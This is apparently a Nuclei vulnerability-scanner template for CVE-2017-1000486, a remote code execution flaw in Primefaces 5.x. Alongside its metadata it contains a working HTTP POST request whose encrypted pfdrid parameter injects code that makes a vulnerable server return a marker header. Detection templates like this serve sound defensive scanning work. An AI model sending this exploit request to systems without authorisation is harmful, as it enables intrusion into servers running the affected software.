id: CVE-2017-1000486

info:
  name: Primetek Primefaces 5.x - Remote Code Execution
  author: Moritz Nentwig
  severity: critical
  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of the Primetek Primefaces application.
  reference:
    - https://github.com/mogwailabs/CVE-2017-1000486
    - https://github.com/pimps/CVE-2017-1000486
    - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
    - https://cryptosense.com/weak-encryption-flaw-in-primefaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-1000486
    cwe-id: CWE-326
    epss-score: 0.94104
    epss-percentile: 0.99838
    cpe: cpe:2.3:a:primetek:primefaces:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: primetek
    product: primefaces
  tags: cve2017,cve,primetek,rce,injection,kev,vkev,vuln

http:
  - raw:
      - |
        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D

    matchers:
      - type: word
        part: header
        words:
          - 'Mogwailabs: CHECKCHECK'
# digest: 490a00463044022057e6183ed670a965902b8747a4e7b6208980be2261815369e3e8a1f31c0f75ec02206f98bdf090bc8b441f651f1e1b3568ea9c5c3dad0b2bcebfde4646cb28bda31e:922c64590222798bb761d5b6d8e72950